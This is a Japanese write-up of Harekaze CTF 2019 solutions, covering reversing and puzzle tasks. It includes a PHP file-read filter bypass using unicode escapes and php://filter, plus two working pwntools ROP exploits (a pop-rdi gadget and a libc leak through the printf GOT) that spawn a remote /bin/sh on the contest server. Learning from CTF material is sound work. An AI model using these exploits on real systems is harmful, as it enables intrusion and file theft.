Harekaze CTF 2019 writeup
Harekaze CTF 2019 - Harekazeharekaze.com
今後のために、せっかくなので解いた問題の記録残しておこうと思います。
scramble
正しいフラグを標準入力から入れるとCorrect!と表示されるプログラムが与えられるみたいなんで、そこから逆算してフラグを求める問題っぽい。とりあえず入力はscrambleという関数に掛けられて、正解の値と比較される。scrambleのコードを逆コンパイルすると、
void scramble(long lParm1) { byte bVar1; int iVar2; byte bVar3; byte bVar4; int iVar5; uint uVar6; int *piVar7; uint uVar8; uint uVar9; byte *pbVar10; piVar7 = table; uVar6 = 0; do { iVar2 = *piVar7; pbVar10 = (byte *)((long)(int)(uVar6 / 7) + lParm1); bVar1 = *pbVar10; bVar3 = (char)uVar6 + (char)(uVar6 / 7) * -7; iVar5 = iVar2 / 7 + (iVar2 >> 0x1f); bVar4 = (char)iVar2 + ((char)iVar5 - (char)(iVar2 >> 0x1f)) * -7; uVar8 = 1 << (bVar3 & 0x1f); uVar9 = 1 << (bVar4 & 0x1f); *pbVar10 = (byte)(((int)((uint)*(byte *)(lParm1 + (long)(iVar5 - (iVar2 >> 0x1f))) & uVar9) >> (bVar4 & 0x1f)) << (bVar3 & 0x1f)) | ~(byte)uVar8 & bVar1; pbVar10 = (byte *)(lParm1 + (long)(*piVar7 / 7)); *pbVar10 = *pbVar10 & ~(byte)uVar9; iVar2 = *piVar7; uVar6 = uVar6 + 1; piVar7 = piVar7 + 1; pbVar10 = (byte *)(lParm1 + (long)(iVar2 / 7)); *pbVar10 = *pbVar10 | (byte)(((int)((uint)bVar1 & uVar8) >> (bVar3 & 0x1f)) << (bVar4 & 0x1f)); } while (uVar6 != 0x10a); return; }
こんなのが出てきたので、これを頑張って読んだら、要するに
for (int i = 0; i < 0x10a; i++) { int j = table[i]; swap(input[i/7]のi%7ビット目、input[j/7]のi%7ビット目); }
みたいなことをやってることが分かったので、これの逆関数はiを逆順で回してやればいいんで、それで埋め込まれてる値を元に戻してやればフラグが出てきた。
ONCE UPON A TIME
与えられたプログラムを読んでみると、入力を25文字ずつに区切って、それをuint8として5x5行列にして、別の定数の行列と(mod 251で)掛け合わせて、その結果を16進数で繋げて出力しているプログラムのようだった。なんで、有限体上での逆行列が求まればそれで終わりっぽいんだけど、スクラッチで書くのめんどくさいし、既存の実装もよく分からなかったのでSMTソルバーに解かせることにした。
import Control.Monad import Data.List import Data.SBV input = [[[234, 89, 41, 233, 126], [247, 120, 6, 187, 67], [236, 48, 63, 48, 70], [115, 222, 25, 247, 230], [142, 221, 195, 71, 243]], [[55, 62, 228, 192, 182], [98, 188, 55, 118, 79], [116, 203, 184, 187, 146], [25, 231, 181, 219, 197], [156, 164, 164, 32, 24]]] mat = [[1, 3, 2, 9, 4], [0, 2, 7, 8, 4], [3, 4, 1, 9, 4], [6, 5, 3, -1, 4], [1, 4, 5, 3, 5]] main :: IO () main = do print =<< (sat $ gemm mat (input !! 0) True) print =<< (sat $ gemm mat (input !! 0) False) print =<< (sat $ gemm mat (input !! 1) True) print =<< (sat $ gemm mat (input !! 1) False) gemm :: [[Int]] -> [[Int]] -> Bool -> Symbolic () gemm b c flip = do a <- forM [0..4] $ \i -> do forM [0..4] $ \j -> do e <- sInt32 $ "a_" ++ show i ++ "_" ++ show j constrain $ e .>= 0x20 &&& e .<= 0x7f return e b <- return $ map (map fromIntegral) b c <- return $ map (map fromIntegral) c (a, b) <- return $ if flip then (b, a) else (a, b) let c_ = [ [ sum (zipWith (*) r c) `sMod` 251 | c <- transpose b ] | r <- a ] constrain $ c .== c_
行列積が一致しているかどうかを比較するだけのナイーブなコード。出力は行列2個分で、それが行列を右から掛けるか左から掛けるかランダムな実装になっていたので、両方試す。入力は文字列だと分かっているので制約を掛けてやらないと大きい数が出てきてしまうのでちゃんと範囲を入れてやる必要がある。これぐらいのサイズならz3で1分程度で求まった。
Encode & Encode
なんかファイルパスを指定したらそれをfile_get_contents()
して返してくれるPHPのWebアプリが与えられるので、フラグのファイル名与えて中身教えてもらうという問題のようだ。が、
function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; }
ファイルのパスに特定の文字列が入っていたらはじかれる処理が入っていたり、
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
ファイルの中身にフラグが入っていたら消されたりする処理が入っているので二段階でこれを突破する必要がある。
1つ目に関しては、ファイル名のチェックがjsonのデコードの前に行われているという問題のあるコードになってるので、そこを突いて文字列をjsonのエスケープ文字でエスケープして送れば突破できる。フラグが入っているパスは "/flag" なので、とりあえず "/\u0066lag" とか送ってやるとcensoredされたフラグがゲットできる。
2つ目に関しては、phpのストリームフィルターというもので突破できる。"php://filter/read=<なんか関数>/resource=<入力リソース>" とかやると、入力に対して任意の(?)phpの関数を適用しながら読んでくれるみたいだ。なので、今回は "php://filter/read=convert.base64-encode/resource=/flag" とかやると、base64でエンコードした内容が貰えるのでチェックを回避できる。このパス中の "php"と"flag"がパスチェックに引っかかるので、"\u0070hp://filter/read=convert.base64-encode/resource=/\u0066lag" として送ればフラグをbase64エンコードしたものがゲットできる。
(´・_・`).oO(なんだこれ。PHP頭おかしいだろう・・・)
Baby ROP
サーバーをハックして鍵ゲットしろみたいな問題。プログラムのバイナリは貰える。とりあえず逆コンパイルしてみたら、こんな単純なプログラムだ。
undefined8 main(void) { undefined local_18 [16]; system("echo -n \"What\'s your name? \""); __isoc99_scanf(&DAT_004006c5,local_18); printf("Welcome to the Pwn World, %s!\n",local_18); return 0; }
どう見てもバッファオーバーフローする危ないコードだけど、実際具体的に攻撃したことはなかったのでなかなか難しかった。
この問題のキモはsystem関数が呼ばれていることみたいだ。systemが呼ばれていることで、リロケーションされない本体のバイナリの固定のアドレスに、system関数へのサンク関数が作られる。なので、格段に攻撃がやりやすくなっているみたいだ。
アセンブリコードを読むと、この関数はスタック8バイト使ってるので、ripの保存先がscanfのバッファーの24バイト目からになっていることが分かる。なので、ここに書いてやればretで好きなアドレスに飛べる。
これでsystem関数に飛びたいのだが、x86_64では1つ目のポインタ変数がrdiレジスタで渡されるので、バッファオーバーフローでは直接書き込めない。なので、rdiにpopするコードを経由してrdiに好きな値を書き込ませる。プログラム中に pop rdi; ret
という命令列が存在していれば、ここに飛ぶことによってrdiに好きな値を書き込ませて好きな関数をコールできることになる。
そんな都合の良い命令列があるのか?というと実際にあるみたいだ。__libc_csu_init()
の最後の部分、
... 00400682 41 5f POP R15 00400684 c3 RET
pop r15
の2バイトのうち、後ろ1バイトだけだとpop rdi
になるんで、0x00400683からだと、
... 00400683 5f POP RDI 00400684 c3 RET
になるみたいだ。これを使えば、
こういう順でメモリを書いてやれば、好きな引数でsystem()
を呼び出せる。system
で何を呼び出すのか?小さいバイナリなので存在する文字列は限られているが、system
が/bin/sh
を利用する都合上、"/bin/sh"
は存在している。というか、まさにこれを呼び出してしまえばリモートマシンでシェルを好き放題いじれる。
というわけで、結局、何を送れば良いのかというと、適当な文字24バイト+pop rip; ret
のアドレス+"/bin/sh"のアドレス+system
のアドレス、と言うことになる。
これをシコシコ組み立てればいいのだが、なんかpythonのpwntools という、それ用の処理を抽象的に組み立てられる死ぬほど便利なツールがあるらしいのでそれを使ってみた。
from pwn import * context.clear(arch='amd64') context.log_level = 'debug' io = remote('problem.harekaze.com', 20001) # "/bin/sh" のアドレス取得 elf = ELF("./babyrop") binsh = next(elf.search('/bin/sh')) # system("/bin/sh") を呼び出すためのバイト列を作ってくれるやつ rop = ROP('./babyrop') rop.system(binsh) # print rop.dump() io.recv() # "What's your name?" 受信 # cyclic()はde Bruijn sequenceを作ってくれる関数 # rop.chain()は組み立てたバイト列を返す payload = cyclic(24) + rop.chain() io.sendline(payload) # 入出力を端末に繋いでやりたい放題 io.interactive()
なんだこのツールは・・・なんかいろいろ揃いすぎててやばすぎる。
これで他人のマシンにshしてコマンド実行しまくれるようになったのだが、実際やってみるとまじでできちゃうんだ・・・という感じが強くて、怖い。・・・怖いけどなんだか成し遂げた感があってそれも怖い・・・(((´・_・`))).oO(とりあえずスタックオーバーフローには気をつけような・・・まずはC言語使うのやめるところから始めようか)
ちなみにこうやってreturnで関数呼び出しながらプログラム実行していくのをreturn oriented programming (ROP)と呼ぶらしく、その際に使えるバイナリ中の有用(有用とは)な命令列をgadgetとか呼ぶらしい。
Baby ROP 2
さっきよりちょっと難しくなったバージョン。
今度はlibcが動的リンクされていて、あんまり便利な関数が使われていないので、それらへの静的なアドレスが手には入らない。
undefined8 main(void) { ssize_t sVar1; undefined local_28 [28]; int local_c; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); printf("What\'s your name? "); sVar1 = read(0,local_28,0x100); local_c = (int)sVar1; local_28[(long)(local_c + -1)] = 0; printf("Welcome to the Pwn World again, %s!\n",local_28); return 0; }
なんで28バイトのバッファーに堂々と0x100バイトreadしてるんだとかツッコミどころはすごいけど、攻撃するのは結構難しい。
libcが動的リンクされるので、なんとかそこのsystemを呼び出したいが、最近の(最近とは)Linuxでは、動的リンクされるアドレスやスタックアドレスはセキュリティーのためにランダマイズされるので、まずはそのアドレスを特定してやらなければならない。特定した上でプロセスを終了させずに再度脆弱性のある入力を行わさせないといけない。
とりあえず固定アドレスが得られる関数としてはプログラム中で使われているsetvbuf
とread
とprintf
の3つだが、このうち情報の漏洩に使えるのはprintf
だけだ。このprintf
で、printf
のgotエントリーの値を表示させる。gotにはロードされた実体へのアドレスが実行時に解決されて入っているので、これを表示させて手に入れて、soファイル中でのオフセットから引いてやれば、libcがどこにロードされたか判明する。
from pwn import * context.clear(arch='amd64') context.log_level = 'debug' io = remote('problem.harekaze.com', 20005) elf = ELF('babyrop2') libc = ELF('libc.so.6') printf_got = elf.got['printf'] printf_offset = libc.symbols['printf'] rop = ROP('./babyrop2') # printf(printf_got + 1) を呼び出すバイト列の積み込み rop.printf(printf_got + 1) # "What's your name?" 読み飛ばし io.recv() # 今回はオフセットは40バイト payload = cyclic(40) + rop.chain() io.sendline(payload) # "Welcome to the Pwn again, .... " 読み飛ばし io.recv() # printf(printf_got + 1) が表示したもの(5バイト)を受信して数値に変換 printf_libc = u64(b'\x00' + io.recv(5) + b'\x00' * 2) # オフセットを引いてlibcのロードされたアドレスを計算する libc_base = printf_libc - printf_offset
スタックにprintfのgotエントリーをprintfするように積んで、その中身を表示させる。ただ何回か実行しても、下位1バイトは必ず0になるところにロードされるらしいので、何も表示されない(文字列null終端なので0からだと何も表示されない)。なので、+1したアドレスから表示してもらうことにした。また、7,8バイト目も必ず0になるみたいなので(そういえば論理アドレス48ビットだったか)結局確定で送られてくるのは2バイト目から6バイト目までの最長5バイトである(運が悪いと途中で0が入ってしまうが、確率は高くないし何回もやれば良い)。
で、libcのアドレスが手には入ったが、次のプロセスではまた値が変わってしまうので、同じプロセスでなんとかこの値を使ってsystemを呼び出さなければならない。じゃあどうすれば良いのかというと、mainを再度呼び出してしまえば良い。printfからretした後、次に実行されるのは、その+8のアドレスになるので、そこにmainのアドレスを書いてやればprintfした後にmainを呼び出させることができる。
これで、サーバーはまんまとまた入力を受け付けるようになるので、再度、今度はsystem("/bin/sh")
を実行させるバイト列を送ってやれば良い。
system_offset = libc.symbols['system'] binsh_offset = next(libc.search('/bin/sh')) # "What's your name?" 読み飛ばし io.recv() rop = ROP('./babyrop2') # オフセットを足してアドレス計算して積む rop.call(libc_base + system_offset, [libc_base + binsh_offset]) payload = cyclic(40) + rop.chain() io.sendline(payload) # 端末に繋ぐ io.interactive()
これで乗っ取り完了。
二段階で攻撃するのが結構大変で、いろいろ調べて勉強になった。これもこんなコードで乗っ取られてしまうんだなあと言う印象が強くて、思ったより世の中恐ろしいんだなと。
Twenty-five
アルファベットがシャッフルされたppencodeされたperlのコードが与えられるので、元に戻して実行しろという問題。
存在する予約語から制約書いて解けば解けると思うが、めんどくさかったので、手で確定する文字から順に埋めていった。zを除く25文字しかないしね。そういう風に作られてるのか分からないけれど、すべて確定的に決まっていった。
[a-z().]
JavaScriptで[a-z().]
な文字のみを使って1337を作れという問題。コード長は200文字未満でなければいけない。
JavaScriptは全然詳しくないので手探り感がすごかったが、nodeのreplでいろいろいじいじしていると、関数.name
で関数名が文字列として取れることが分かった。なので、それの.length
を取ればなんらかの数が作れる。数を文字列の長さとして表すなら、かけ算はa.repeat(b.length)
だし、足し算はa.concat(b)
だし、引き算はa.substr(b.length)
である。
JavaScriptはbuiltin関数が意外と少なくて、なおかつ大文字が使えないのでどこから基本の文字列引っ張ってくるか悩ましかったが、とりあえず4 = eval.name.length
、6 = escape.name.length
、8 = unescape.name.length
、7 = console.profile.name.length
あたりの数を拾えた。
んで、1337をどう表現するかで、いろいろいじいじしてたら 7*6*8*4-7
という式が出てきたので、これをさっきのルールで変換していくと
console.profile.name.repeat(escape.name.length).repeat(unescape.name.length).repeat(eval.name.length).substr(console.profile.name.length).length
というプログラムができあがった(145文字)。
これはなんか最短を目指すと面白い問題な気がする。あと今気付いたけどtypeof(x)
とかの方が短くなりそうな気がした。